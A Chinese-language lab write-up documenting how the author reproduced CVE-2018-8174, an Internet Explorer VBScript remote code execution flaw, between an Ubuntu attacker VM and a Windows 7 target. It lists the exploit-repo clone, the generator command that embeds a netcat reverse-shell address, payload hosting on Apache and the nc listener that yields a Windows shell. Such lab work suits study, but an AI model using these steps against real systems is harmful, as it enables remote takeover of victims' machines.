CVE-2018-8174成功复现过程记录
漏洞描述
VBScript引擎处理内存中对象的方式中存在一个远程执行代码漏洞。该漏洞可能以一种攻击者可以在当前用户的上下文中执行任意代码的方式来破坏内存。成功利用此漏洞的攻击者可以获得与当前用户相同的用户权限。如果当前用户使用管理用户权限登录,则成功利用此漏洞的攻击者可以控制受影响的系统。然后,攻击者可能会安装程序。查看,更改或删除数据;或创建具有完全用户权限的新帐户。
在基于Web的攻击情形中,攻击者可能拥有一个旨在通过Internet Explorer利用此漏洞的特制网站,然后诱使用户查看该网站。攻击者还可能在承载IE呈现引擎的应用程序或Microsoft Office文档中嵌入标记为“初始化安全”的ActiveX控件。攻击者还可能利用受感染的网站以及接受或托管用户提供的内容或广告的网站。这些网站可能包含可以利用此漏洞的特制内容。
靶机部署
-
攻击机:Ubuntu 20.04.2 LTS
-
目标机:Windows 7 Enterprise with Service Pack 1 (x64)
-
注意点:因为高版本的windows系统已经修复了此漏洞,所以这里利用到了win7虚拟机。虚拟机的镜像可以在MSDN, 我告诉你 - 做一个安静的工具站 (itellyou.cn)上进行下载。下载是记得选择带有
Service Pack
的版本,方便vmtools
的安装。 -
然后我们的主要思路是在
Ubuntu
虚拟机上开启web服务,然后win7虚拟机去访问然后被远程命令执行,所以我们的ubuntu虚拟机需要安装apache2
作为服务器来对外提供web服务。 -
apache2
安装命令:sudo apt update sudo apt install apache2
-
打开apache2服务:
service apache2 start
-
然后我们可以输入以下命令来验证apahce是否正在运行。
sudo systemctl status apache2
漏洞复现
-
下载复现脚本到ubuntu虚拟机上。
git clone https://github.com/Yt1g3r/CVE-2018-8174_EXP.git
-
进入文件夹后我们可以看到提示
# CVE-2018-8174_EXP usage: CVE-2018-8174.py [-h] -u URL -o OUTPUT [-i IP] [-p PORT] Exploit for CVE-2018-8174 optional arguments: -h, --help show this help message and exit -u URL, --url URL exp url -o OUTPUT, --output OUTPUT Output exploit rtf -i IP, --ip IP ip for netcat -p PORT, --port PORT port for netcat eg: 1. python CVE-2018-8174.py -u http://1.1.1.1/exploit.html -o exp.rtf -i 2.2.2.2 -p 4444 2. put exploit.html on your server (1.1.1.1) 3. netcat listen on [any] 4444 (2.2.2.2) enjoy it !
-
于是我们试着输入以下命令。
python3 CVE-2018-8174.py -u http://192.168.40.128/exploit.html -o exp.rtf -i 192.168.40.128 -p 4444
-
结果报错,原因是因为复现脚本比较老了,是用
python2
写的。 -
因为ubuntu上默认只有
python3
,所以进行安装。sudo apt install python2
-
安装完成后用python2来执行复现脚本。
python2 CVE-2018-8174.py -u http://192.168.40.128/exploit.html -o exp.rtf -i 192.168.40.128 -p 4444
-
然后根据提示把文件夹中的
exploit.html
复制到apache
服务器工作文件夹/var/www/html
cp exploit.html /var/www/html
-
然后我们利用nc来进行
4444
端口的监听。这里有一个很重要的点,网上的监听命令都是这样的。nc -lvvp 4444
-
但是我实际操作的时候,发现这样会报错,原因可能是DNS服务器的锅。
-
在查阅资料nc: getnameinfo: Temporary failure in name resolution_心如熊猫的博客-CSDN博客后,我发现只要把参数改一下就能成功监听
nc -lvnp 4444
-
这里简单引用一下参数说明。
-l 使用监听模式,管控传入的资料。
-v 显示指令执行过程。
-n 直接使用IP地址,而不通过域名服务器。
-p<通信端口> 设置本地主机使用的通信端口。
-
现在攻击机已经做好了准备,只需要猎物上钩了。我们打开win7虚拟机,打开
ie浏览器
访问exploit.html
。 -
我们看到,在命令行中,我们已经取得了win7的控制权,命令行从linux变成了win7的命令行,到此成功复现漏洞CVE-2018-8174。
-
但是还有一个小问题,我们发现终端里有很多乱码,这应该是由于windows终端的编码是
GB2312
的关系。我们只需要输入以下命令即可获得愉快的体验。chcp 65001
-
之前听说骇客在获得控制权后都会弹出一个计算器,于是我也体验了一波。感觉真不错(
参考链接
CVE-2018-8174漏洞利用及漏洞加固_丶没胡子的猫-CSDN博客
nc: getnameinfo: Temporary failure in name resolution_心如熊猫的博客-CSDN博客